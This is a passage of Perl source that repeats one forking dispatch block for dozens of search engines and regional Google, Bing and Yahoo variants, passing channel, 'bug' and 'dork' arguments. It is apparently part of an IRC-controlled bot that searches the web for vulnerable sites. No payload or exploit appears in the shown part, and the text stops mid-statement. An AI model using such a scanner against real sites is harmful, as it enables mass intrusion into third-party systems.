&type($chan,$bug,$dork,"MZ",$type); } exit; } } if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NR",$type); } exit; } } if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NC",$type); } exit; } } if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NG",$type); } exit; } } if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NU",$type); } exit; } } if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PW",$type); } exit; } } if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PS",$type); } exit; } } if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CQ",$type); } exit; } } if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RE",$type); } exit; } } if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LC",$type); } exit; } } if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PM",$type); } exit; } } if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ST",$type); } exit; } } if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RS",$type); } exit; } } if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GS",$type); } exit; } } if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SL",$type); } exit; } } if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SX",$type); } exit; } } if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SB",$type); } exit; } } if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SO",$type); } exit; } } if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SU",$type); } exit; } } if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KN",$type); } exit; } } if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SR",$type); } exit; } } if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TZ",$type); } exit; } } if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TL",$type); } exit; } } if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TG",$type); } exit; } } if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TK",$type); } exit; } } if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TN",$type); } exit; } } if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TC",$type); } exit; } } if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VU",$type); } exit; } } if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WF",$type); } exit; } } if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YE",$type); } exit; } } if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZW",$type); } exit; } } if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; } } if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type); } exit; } } if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type); } exit; } } if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type); } exit; } } if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type); } exit; } } if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type); } exit; } } if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type); } exit; } } if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type); } exit; } } if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type); } exit; } } if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type); } exit; } } if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type); } exit; } } if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type); } exit; } } if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type); } exit; } } if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type); } exit; } } if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type); } exit; } } if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type); } exit; } } if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type); } exit; } } if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type); } exit; } } if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type); } exit; } } if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type); } exit; } } if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type); } exit; } } if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type); } exit; } } if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type); } exit; } } if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type); } exit; } } if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type); } exit; } } if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type); } exit; } } if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type); } exit; } } if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type); } exit; } } if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type); } exit; } } if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type); } exit; } } if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type); } exit; } } if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type); } exit; } } if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type); } exit; } } if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type); } exit; } } if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type); } exit; } } if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type); } exit; } } if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type); } exit; } } if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type); } exit; } } if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type); } exit; } } if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type); } exit; } } if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type); } exit; } } if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type); } exit; } } if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type); } exit; } } if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type); } exit; } } if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type); } exit; } } if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type); } exit; } } if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type); } exit; } } if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type); } exit; } } if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type); } exit; } } if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type); } exit; } } if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type); } exit; } } if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type); } exit; } } if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type); } exit; } } if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type); } exit; } } if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type); } exit; } } if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type); } exit; } } if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type); } exit; } } if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type); } exit; } } if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type); } exit; } } if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type); } exit; } } if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type); } exit; } } if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type); } exit; } } if ($engine =~ /bingAE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAE",$type); } exit; } } if ($engine =~ /bingAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAT",$type); } exit; } } if ($engine =~ /bingCZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCZ",$type); } exit; } } if ($engine =~ /bingEU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingEU",$type); } exit; } } if ($engine =~ /bingHU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingHU",$type); } exit; } } if ($engine =~ /bingID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingID",$type); } exit; } } if ($engine =~ /bingIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIL",$type); } exit; } } if ($engine =~ /bingIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIN",$type); } exit; } } if ($engine =~ /bingINFO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingINFO",$type); } exit; } } if ($engine =~ /bingIR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIR",$type); } exit; } } if ($engine =~ /bingMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMY",$type); } exit; } } if ($engine =~ /bingNET/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNET",$type); } exit; } } if ($engine =~ /bingORG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingORG",$type); } exit; } } if ($engine =~ /bingPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPH",$type); } exit; } } if ($engine =~ /bingPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPL",$type); } exit; } } if ($engine =~ /bingRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRO",$type); } exit; } } if ($engine =~ /bingTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTH",$type); } exit; } } if ($engine =~ /bingUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUA",$type); } exit; } } if ($engine =~ /bingUS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUS",$type); } exit; } } if ($engine =~ /bingSI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSI",$type); } exit; } } if ($engine =~ /bingBIZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBIZ",$type); } exit; } } if ($engine =~ /bingXXX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingXXX",$type); } exit; } } if ($engine =~ /bingTV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTV",$type); } exit; } } if ($engine =~ /bingCC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCC",$type); } exit; } } if ($engine =~ /bingMIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMIL",$type); } exit; } } if ($engine =~ /bingASIA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingASIA",$type); } exit; } } if ($engine =~ /bingNAME/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNAME",$type); } exit; } } if ($engine =~ /bingPRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPRO",$type); } exit; } } if ($engine =~ /bingTRAVEL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTRAVEL",$type); } exit; } } if ($engine =~ /bingJOBS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJOBS",$type); } exit; } } if ($engine =~ /bingMOBI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMOBI",$type); } exit; } } if ($engine =~ /bingAERO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAERO",$type); } exit; } } if ($engine =~ /bingCAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCAT",$type); } exit; } } if ($engine =~ /bingCOOP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCOOP",$type); } exit; } } if ($engine =~ /bingEDU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingEDU",$type); } exit; } } if ($engine =~ /bingGOV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingGOV",$type); } exit; } } if ($engine =~ /bingBO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBO",$type); } exit; } } if ($engine =~ /bingBA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBA",$type); } exit; } } if ($engine =~ /bingBW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBW",$type); } exit; } } if ($engine =~ /bingBG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBG",$type); } exit; } } if ($engine =~ /bingCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCO",$type); } exit; } } if ($engine =~ /bingCR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCR",$type); } exit; } } if ($engine =~ /bingHR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingHR",$type); } exit; } } if ($engine =~ /bingDO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDO",$type); } exit; } } if ($engine =~ /bingEC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingEC",$type); } exit; } } if ($engine =~ /bingGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingGR",$type); } exit; } } if ($engine =~ /bingHN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingHN",$type); } exit; } } if ($engine =~ /bingHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingHK",$type); } exit; } } if ($engine =~ /bingIS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIS",$type); } exit; } } if ($engine =~ /bingIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIE",$type); } exit; } } if ($engine =~ /bingKZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKZ",$type); } exit; } } if ($engine =~ /bingKE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKE",$type); } exit; } } if ($engine =~ /bingKG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKG",$type); } exit; } } if ($engine =~ /bingLV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLV",$type); } exit; } } if ($engine =~ /bingLY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLY",$type); } exit; } } if ($engine =~ /bingLT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLT",$type); } exit; } } if ($engine =~ /bingLU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLU",$type); } exit; } } if ($engine =~ /bingMA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMA",$type); } exit; } } if ($engine =~ /bingNP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNP",$type); } exit; } } if ($engine =~ /bingPK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPK",$type); } exit; } } if ($engine =~ /bingPR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPR",$type); } exit; } } if ($engine =~ /bingSG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSG",$type); } exit; } } if ($engine =~ /bingSK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSK",$type); } exit; } } if ($engine =~ /bingZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingZA",$type); } exit; } } if ($engine =~ /bingLK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLK",$type); } exit; } } if ($engine =~ /bingTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTW",$type); } exit; } } if ($engine =~ /bingTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTR",$type); } exit; } } if ($engine =~ /bingVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingVE",$type); } exit; } } if ($engine =~ /bingVN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingVN",$type); } exit; } } if ($engine =~ /bingMUSEUM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMUSEUM",$type); } exit; } } if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; } } if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; } } if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoo",$type); } exit; } } if ($engine =~ /yahooCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCA",$type); } exit; } } if ($engine =~ /yahooUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoUK",$type); } exit; } } if ($engine =~ /yahooDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoDE",$type); } exit; } } if ($engine =~ /yahooFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoFR",$type); } exit; } } if ($engine =~ /yahooES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoES",$type); } exit; } } if ($engine =~ /yahooIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoIT",$type); } exit; } } if ($engine =~ /yahooHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoHK",$type); } exit; } } if ($engine =~ /yahooID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoID",$type); } exit; } } if ($engine =~ /yahooIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoIN",$type); } exit; } } if ($engine =~ /yahooAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAU",$type); } exit; } } if ($engine =~ /yahooMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoMX",$type); } exit; } } if ($engine =~ /yahooTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoTW",$type); } exit; } } if ($engine =~ /yahooBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoBR",$type); } exit; } } if ($engine =~ /yahooAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAR",$type); } exit; } } if ($engine =~ /yahooNL/i) { if (my $pid = fork) { waitpid($pid, 